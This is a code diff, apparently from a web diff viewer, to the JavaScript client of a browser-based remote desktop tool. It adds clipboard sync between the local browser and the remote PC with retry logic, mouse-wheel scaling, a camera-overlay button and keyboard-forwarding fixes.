async function sendRemoteShortcutWithRetry(key, mods, attempts, delayMs) {
|
|
1193
|
+
const n = Math.max(1, Number.isFinite(Number(attempts)) ? Math.floor(Number(attempts)) : 1);
|
|
1194
|
+
const delay = Math.max(0, Number.isFinite(Number(delayMs)) ? Math.floor(Number(delayMs)) : 0);
|
|
1195
|
+
let last = null;
|
|
1196
|
+
for (let i = 0; i < n; i++) {
|
|
1197
|
+
last = await sendRemoteShortcut(key, mods);
|
|
1198
|
+
if (last && last.ok) return last;
|
|
1199
|
+
if (i < n - 1 && delay > 0) {
|
|
1200
|
+
await new Promise((r) => setTimeout(r, delay));
|
|
1201
|
+
}
|
|
1202
|
+
}
|
|
1203
|
+
return last || { ok: false, error: "shortcut failed" };
|
|
1204
|
+
}
|
|
1205
|
+
async function sendRemoteCopyShortcut() {
|
|
1206
|
+
const primary = await sendRemoteShortcutWithRetry("c", { ctrl: true }, 4, 120);
|
|
1207
|
+
if (primary && primary.ok) return primary;
|
|
1208
|
+
return sendRemoteShortcutWithRetry("insert", { ctrl: true }, 4, 120);
|
|
1209
|
+
}
|
|
1210
|
+
async function sendRemotePasteShortcut() {
|
|
1211
|
+
const primary = await sendRemoteShortcutWithRetry("v", { ctrl: true }, 1, 120);
|
|
1212
|
+
if (primary && primary.ok) return primary;
|
|
1213
|
+
return sendRemoteShortcutWithRetry("insert", { shift: true }, 1, 120);
|
|
1214
|
+
}
|
|
1215
|
+
async function pushClipboardTextToRemote(text, triggerPaste) {
|
|
1216
|
+
if (!writeEnabled) return;
|
|
1217
|
+
const t = String(text || "");
|
|
1218
|
+
if (!t) return;
|
|
1219
|
+
if (triggerPaste && remotePasteDispatchInFlight) {
|
|
833
1220
|
return;
|
|
834
1221
|
}
|
|
835
|
-
|
|
1222
|
+
if (triggerPaste) {
|
|
1223
|
+
remotePasteDispatchInFlight = true;
|
|
1224
|
+
}
|
|
1225
|
+
try {
|
|
1226
|
+
if (triggerPaste) {
|
|
1227
|
+
const now = Date.now();
|
|
1228
|
+
if (lastRemotePasteText === t && (now - lastRemotePasteTriggerAt) < 1200) {
|
|
1229
|
+
setState("Clipboard sent from local to PC");
|
|
1230
|
+
return;
|
|
1231
|
+
}
|
|
1232
|
+
lastRemotePasteText = t;
|
|
1233
|
+
lastRemotePasteTriggerAt = now;
|
|
1234
|
+
}
|
|
1235
|
+
const r = await wsRequest("rc_clipboard_set", { text: t });
|
|
836
1236
|
if (!r || !r.ok) { setState("Clipboard push failed"); return; }
|
|
1237
|
+
if (triggerPaste) {
|
|
1238
|
+
await new Promise((r2) => setTimeout(r2, 80));
|
|
1239
|
+
const k = await sendRemotePasteShortcut();
|
|
1240
|
+
if (!k || !k.ok) {
|
|
1241
|
+
setState("Clipboard sent to PC (paste shortcut failed)");
|
|
1242
|
+
return;
|
|
1243
|
+
}
|
|
1244
|
+
}
|
|
837
1245
|
setState("Clipboard sent from local to PC");
|
|
1246
|
+
} finally {
|
|
1247
|
+
if (triggerPaste) {
|
|
1248
|
+
remotePasteDispatchInFlight = false;
|
|
1249
|
+
}
|
|
1250
|
+
}
|
|
1251
|
+
}
|
|
1252
|
+
async function triggerRemoteCopyToLocal() {
|
|
1253
|
+
if (!writeEnabled) return;
|
|
1254
|
+
if (remoteClipboardBusy && (Date.now() - remoteClipboardBusyAt) < 2200) return;
|
|
1255
|
+
remoteClipboardBusy = true;
|
|
1256
|
+
remoteClipboardBusyAt = Date.now();
|
|
1257
|
+
try {
|
|
1258
|
+
if (remoteClipboardCache && (Date.now() - remoteClipboardCacheAt) < 15_000) {
|
|
1259
|
+
const copied = copyTextToLocalClipboard(remoteClipboardCache);
|
|
1260
|
+
if (copied) setState("Clipboard copied from PC to local");
|
|
1261
|
+
}
|
|
1262
|
+
const r = await sendRemoteCopyShortcut();
|
|
1263
|
+
if (!r || !r.ok) {
|
|
1264
|
+
setState("Remote Ctrl+C failed");
|
|
1265
|
+
return;
|
|
1266
|
+
}
|
|
1267
|
+
for (let i = 0; i < 15; i++) {
|
|
1268
|
+
await new Promise((rr) => setTimeout(rr, 180));
|
|
1269
|
+
await refreshRemoteClipboardCache();
|
|
1270
|
+
if (remoteClipboardCache && (Date.now() - remoteClipboardCacheAt) < 3_000) {
|
|
1271
|
+
const copied = copyTextToLocalClipboard(remoteClipboardCache);
|
|
1272
|
+
setState(copied ? "Clipboard copied from PC to local" : "Clipboard write blocked by browser");
|
|
1273
|
+
return;
|
|
1274
|
+
}
|
|
1275
|
+
}
|
|
1276
|
+
await pullClipboardToLocal();
|
|
1277
|
+
} finally {
|
|
1278
|
+
remoteClipboardBusy = false;
|
|
1279
|
+
remoteClipboardBusyAt = 0;
|
|
1280
|
+
}
|
|
1281
|
+
}
|
|
1282
|
+
function isModifierOnlyKey(k) {
|
|
1283
|
+
const key = String(k || "").toLowerCase();
|
|
1284
|
+
return key === "control" || key === "shift" || key === "alt" || key === "meta";
|
|
1285
|
+
}
|
|
1286
|
+
function isTypingTarget(el) {
|
|
1287
|
+
if (!el) return false;
|
|
1288
|
+
if (el === pasteCaptureEl) return false;
|
|
1289
|
+
const tag = String(el.tagName || "").toUpperCase();
|
|
1290
|
+
if (tag === "INPUT" || tag === "TEXTAREA") return true;
|
|
1291
|
+
if (el.isContentEditable) return true;
|
|
1292
|
+
return false;
|
|
838
1293
|
}
|
|
839
1294
|
async function pullRemoteFileToLocal(remotePath) {
|
|
840
1295
|
const p = String(remotePath || "").trim();
|
|
@@ -985,31 +1440,57 @@
|
|
|
985
1440
|
const key = String(ev.key || "").toLowerCase();
|
|
986
1441
|
return key === "+" || key === "-" || key === "=" || key === "_" || key === "0";
|
|
987
1442
|
}
|
|
1443
|
+
const CLIPBOARD_EVENT_HANDLED_KEY = "__forgeClipboardHandled";
|
|
1444
|
+
function markClipboardEventHandled(ev) {
|
|
1445
|
+
try {
|
|
1446
|
+
if (ev && ev[CLIPBOARD_EVENT_HANDLED_KEY]) return true;
|
|
1447
|
+
if (ev) ev[CLIPBOARD_EVENT_HANDLED_KEY] = 1;
|
|
1448
|
+
} catch {
|
|
1449
|
+
/* ignore */
|
|
1450
|
+
}
|
|
1451
|
+
return false;
|
|
1452
|
+
}
|
|
1453
|
+
function onClipboardCopyOrCut(ev) {
|
|
1454
|
+
if (!writeEnabled) return;
|
|
1455
|
+
if (markClipboardEventHandled(ev)) return;
|
|
1456
|
+
const hasFreshCache = Boolean(remoteClipboardCache) && (Date.now() - remoteClipboardCacheAt) < 15_000;
|
|
1457
|
+
if (hasFreshCache && ev.clipboardData && typeof ev.clipboardData.setData === "function") {
|
|
1458
|
+
try {
|
|
1459
|
+
ev.clipboardData.setData("text/plain", String(remoteClipboardCache || ""));
|
|
1460
|
+
ev.preventDefault();
|
|
1461
|
+
setState("Clipboard copied from PC to local");
|
|
1462
|
+
} catch {
|
|
1463
|
+
/* ignore; fallback below */
|
|
1464
|
+
}
|
|
1465
|
+
} else {
|
|
1466
|
+
ev.preventDefault();
|
|
1467
|
+
}
|
|
1468
|
+
// Always trigger remote copy + refresh in background so cache stays current.
|
|
1469
|
+
void triggerRemoteCopyToLocal();
|
|
1470
|
+
}
|
|
1471
|
+
function onClipboardPaste(ev) {
|
|
1472
|
+
if (!writeEnabled) return;
|
|
1473
|
+
if (markClipboardEventHandled(ev)) return;
|
|
1474
|
+
const txt = String((ev.clipboardData && ev.clipboardData.getData && ev.clipboardData.getData("text/plain")) || "");
|
|
1475
|
+
if (!txt) return;
|
|
1476
|
+
lastPasteEventAt = Date.now();
|
|
1477
|
+
pendingPasteShortcutAt = -1;
|
|
1478
|
+
ev.preventDefault();
|
|
1479
|
+
try {
|
|
1480
|
+
pasteCaptureEl.value = "";
|
|
1481
|
+
pasteCaptureEl.blur();
|
|
1482
|
+
} catch {}
|
|
1483
|
+
void pushClipboardTextToRemote(txt, true);
|
|
1484
|
+
}
|
|
988
1485
|
function imgPoint(ev) {
|
|
989
1486
|
const r = screenEl.getBoundingClientRect();
|
|
990
1487
|
const naturalW = Number(screenEl.naturalWidth) || 0;
|
|
991
1488
|
const naturalH = Number(screenEl.naturalHeight) || 0;
|
|
992
1489
|
if (!r.width || !r.height || !naturalW || !naturalH) return null;
|
|
993
|
-
//
|
|
994
|
-
|
|
995
|
-
const
|
|
996
|
-
|
|
997
|
-
let drawTop = r.top;
|
|
998
|
-
let drawWidth = r.width;
|
|
999
|
-
let drawHeight = r.height;
|
|
1000
|
-
if (Math.abs(imgAspect - boxAspect) > 0.0001) {
|
|
1001
|
-
if (boxAspect > imgAspect) {
|
|
1002
|
-
drawHeight = r.height;
|
|
1003
|
-
drawWidth = drawHeight * imgAspect;
|
|
1004
|
-
drawLeft = r.left + (r.width - drawWidth) / 2;
|
|
1005
|
-
} else {
|
|
1006
|
-
drawWidth = r.width;
|
|
1007
|
-
drawHeight = drawWidth / imgAspect;
|
|
1008
|
-
drawTop = r.top + (r.height - drawHeight) / 2;
|
|
1009
|
-
}
|
|
1010
|
-
}
|
|
1011
|
-
const relX = (ev.clientX - drawLeft) / Math.max(1, drawWidth);
|
|
1012
|
-
const relY = (ev.clientY - drawTop) / Math.max(1, drawHeight);
|
|
1490
|
+
// For an <img>, getBoundingClientRect() is already the rendered pixel box.
|
|
1491
|
+
// Using rect coordinates directly keeps mapping stable across browser zoom in/out.
|
|
1492
|
+
const relX = (ev.clientX - r.left) / Math.max(1, r.width);
|
|
1493
|
+
const relY = (ev.clientY - r.top) / Math.max(1, r.height);
|
|
1013
1494
|
const nx = Math.max(0, Math.min(1, relX));
|
|
1014
1495
|
const ny = Math.max(0, Math.min(1, relY));
|
|
1015
1496
|
const iw = Number(lastFrameMeta && lastFrameMeta.imageWidth) || naturalW;
|
|
@@ -1024,6 +1505,23 @@
|
|
|
1024
1505
|
}
|
|
1025
1506
|
|
|
1026
1507
|
document.getElementById("disconnectBtn").addEventListener("click", disconnect);
|
|
1508
|
+
copyFromPcBtn.addEventListener("click", async () => {
|
|
1509
|
+
if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
|
|
1510
|
+
void triggerRemoteCopyToLocal();
|
|
1511
|
+
});
|
|
1512
|
+
pasteToPcBtn.addEventListener("click", async () => {
|
|
1513
|
+
if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
|
|
1514
|
+
if (localClipboardBusy && (Date.now() - localClipboardBusyAt) < 1600) return;
|
|
1515
|
+
localClipboardBusy = true;
|
|
1516
|
+
localClipboardBusyAt = Date.now();
|
|
1517
|
+
const r = await pushLocalClipboardToRemote({ silentReadFailure: true }).finally(() => {
|
|
1518
|
+
localClipboardBusy = false;
|
|
1519
|
+
localClipboardBusyAt = 0;
|
|
1520
|
+
});
|
|
1521
|
+
if (!r || !r.ok) {
|
|
1522
|
+
armPasteCaptureMode("Press Ctrl/Cmd+V once to send local clipboard to PC");
|
|
1523
|
+
}
|
|
1524
|
+
});
|
|
1027
1525
|
document.getElementById("refreshBtn").addEventListener("click", () => {
|
|
1028
1526
|
if (!ws || ws.readyState !== 1) {
|
|
1029
1527
|
connect();
|
|
@@ -1047,6 +1545,15 @@
|
|
|
1047
1545
|
if (writeEnabled && hasFrame) hideEmptyState();
|
|
1048
1546
|
updateWriteControls();
|
|
1049
1547
|
});
|
|
1548
|
+
cameraBtn.addEventListener("click", () => {
|
|
1549
|
+
if (cameraAvailable === false) {
|
|
1550
|
+
requestScreenshot();
|
|
1551
|
+
return;
|
|
1552
|
+
}
|
|
1553
|
+
cameraOverlayEnabled = !cameraOverlayEnabled;
|
|
1554
|
+
refreshCameraBtnUi();
|
|
1555
|
+
requestScreenshot();
|
|
1556
|
+
});
|
|
1050
1557
|
filePullBtn.addEventListener("click", async () => {
|
|
1051
1558
|
if (!writeEnabled) { setState("Enable Write Only mode for file fetch"); return; }
|
|
1052
1559
|
const p = String(filePullPath.value || "").trim();
|
|
@@ -1190,34 +1697,78 @@
|
|
|
1190
1697
|
if (!writeEnabled) return;
|
|
1191
1698
|
ev.preventDefault();
|
|
1192
1699
|
const p = imgPoint(ev);
|
|
1193
|
-
|
|
1700
|
+
let dy = Number(ev.deltaY || 0);
|
|
1701
|
+
if (ev.deltaMode === 1) dy *= 40;
|
|
1702
|
+
else if (ev.deltaMode === 2) dy *= 120;
|
|
1703
|
+
if (!Number.isFinite(dy) || dy === 0) return;
|
|
1704
|
+
let step = Math.round(dy / 120) * 120;
|
|
1705
|
+
if (step === 0) step = dy < 0 ? -120 : 120;
|
|
1706
|
+
step = Math.max(-2400, Math.min(2400, step));
|
|
1707
|
+
sendRemoteInput({
|
|
1708
|
+
action: "mouse_wheel",
|
|
1709
|
+
delta_y: step,
|
|
1710
|
+
x: p ? p.x : undefined,
|
|
1711
|
+
y: p ? p.y : undefined,
|
|
1712
|
+
});
|
|
1194
1713
|
}, { passive: false });
|
|
1195
1714
|
window.addEventListener("keydown", (ev) => {
|
|
1196
1715
|
if (!writeEnabled) return;
|
|
1197
|
-
if (["INPUT", "TEXTAREA"].includes(String(document.activeElement && document.activeElement.tagName || ""))) return;
|
|
1198
1716
|
if (isBrowserZoomHotkey(ev)) return; // Let browser handle Ctrl/Cmd +/-/0 zoom.
|
|
1717
|
+
if (isModifierOnlyKey(ev.key)) return;
|
|
1199
1718
|
const ctrlOrMeta = ev.ctrlKey || ev.metaKey;
|
|
1200
1719
|
if (ctrlOrMeta && !ev.shiftKey && !ev.altKey && String(ev.key || "").toLowerCase() === "c") {
|
|
1201
1720
|
ev.preventDefault();
|
|
1202
|
-
|
|
1203
|
-
remoteClipboardBusy = true;
|
|
1204
|
-
void pullClipboardToLocal();
|
|
1205
|
-
setTimeout(() => { remoteClipboardBusy = false; }, 1200);
|
|
1206
|
-
}
|
|
1721
|
+
void triggerRemoteCopyToLocal();
|
|
1207
1722
|
return;
|
|
1208
1723
|
}
|
|
1209
1724
|
if (ctrlOrMeta && !ev.shiftKey && !ev.altKey && String(ev.key || "").toLowerCase() === "v") {
|
|
1210
|
-
|
|
1211
|
-
|
|
1212
|
-
|
|
1213
|
-
|
|
1214
|
-
|
|
1725
|
+
if (!immediatePasteReadInFlight && navigator.clipboard && typeof navigator.clipboard.readText === "function") {
|
|
1726
|
+
immediatePasteReadInFlight = true;
|
|
1727
|
+
void navigator.clipboard.readText().then((txt) => {
|
|
1728
|
+
const t = String(txt || "");
|
|
1729
|
+
if (!t) return;
|
|
1730
|
+
pendingPasteShortcutAt = -1;
|
|
1731
|
+
return pushClipboardTextToRemote(t, true);
|
|
1732
|
+
}).catch(() => {
|
|
1733
|
+
// Fall through to paste-event / delayed fallback path below.
|
|
1734
|
+
}).finally(() => {
|
|
1735
|
+
immediatePasteReadInFlight = false;
|
|
1736
|
+
});
|
|
1737
|
+
}
|
|
1738
|
+
// Prefer real paste-event payload (works better on HTTP / strict clipboard-permission browsers).
|
|
1739
|
+
pendingPasteShortcutAt = Date.now();
|
|
1740
|
+
try {
|
|
1741
|
+
pasteCaptureEl.value = "";
|
|
1742
|
+
pasteCaptureEl.focus();
|
|
1743
|
+
pasteCaptureEl.select();
|
|
1744
|
+
} catch {
|
|
1745
|
+
/* ignore */
|
|
1215
1746
|
}
|
|
1747
|
+
setTimeout(() => {
|
|
1748
|
+
if ((Date.now() - lastPasteEventAt) < 500) return;
|
|
1749
|
+
if (pendingPasteShortcutAt <= 0) return;
|
|
1750
|
+
if ((Date.now() - pendingPasteShortcutAt) > 1300) return;
|
|
1751
|
+
try { pasteCaptureEl.blur(); } catch {}
|
|
1752
|
+
if (localClipboardBusy && (Date.now() - localClipboardBusyAt) < 1600) return;
|
|
1753
|
+
localClipboardBusy = true;
|
|
1754
|
+
localClipboardBusyAt = Date.now();
|
|
1755
|
+
void pushLocalClipboardToRemote().finally(() => {
|
|
1756
|
+
localClipboardBusy = false;
|
|
1757
|
+
localClipboardBusyAt = 0;
|
|
1758
|
+
});
|
|
1759
|
+
}, 280);
|
|
1216
1760
|
return;
|
|
1217
1761
|
}
|
|
1762
|
+
if (isTypingTarget(document.activeElement)) return;
|
|
1218
1763
|
ev.preventDefault();
|
|
1219
1764
|
sendRemoteInput({ action: "key", key: ev.key, ctrl: ev.ctrlKey, alt: ev.altKey, shift: ev.shiftKey, meta: ev.metaKey });
|
|
1220
1765
|
});
|
|
1766
|
+
window.addEventListener("copy", onClipboardCopyOrCut);
|
|
1767
|
+
window.addEventListener("cut", onClipboardCopyOrCut);
|
|
1768
|
+
window.addEventListener("paste", onClipboardPaste);
|
|
1769
|
+
document.addEventListener("copy", onClipboardCopyOrCut, true);
|
|
1770
|
+
document.addEventListener("cut", onClipboardCopyOrCut, true);
|
|
1771
|
+
document.addEventListener("paste", onClipboardPaste, true);
|
|
1221
1772
|
window.addEventListener("resize", () => {
|
|
1222
1773
|
if (!ws || ws.readyState !== 1 || !authed) return;
|
|
1223
1774
|
if (resizeShotTimer) clearTimeout(resizeShotTimer);
|
|
@@ -1228,6 +1779,8 @@
|
|
|
1228
1779
|
});
|
|
1229
1780
|
|
|
1230
1781
|
refreshWriteModeEligibilityUi();
|
|
1782
|
+
refreshCameraBtnUi();
|
|
1783
|
+
refreshStreamStats();
|
|
1231
1784
|
updateWriteControls();
|
|
1232
1785
|
connect();
|
|
1233
1786
|
</script>
|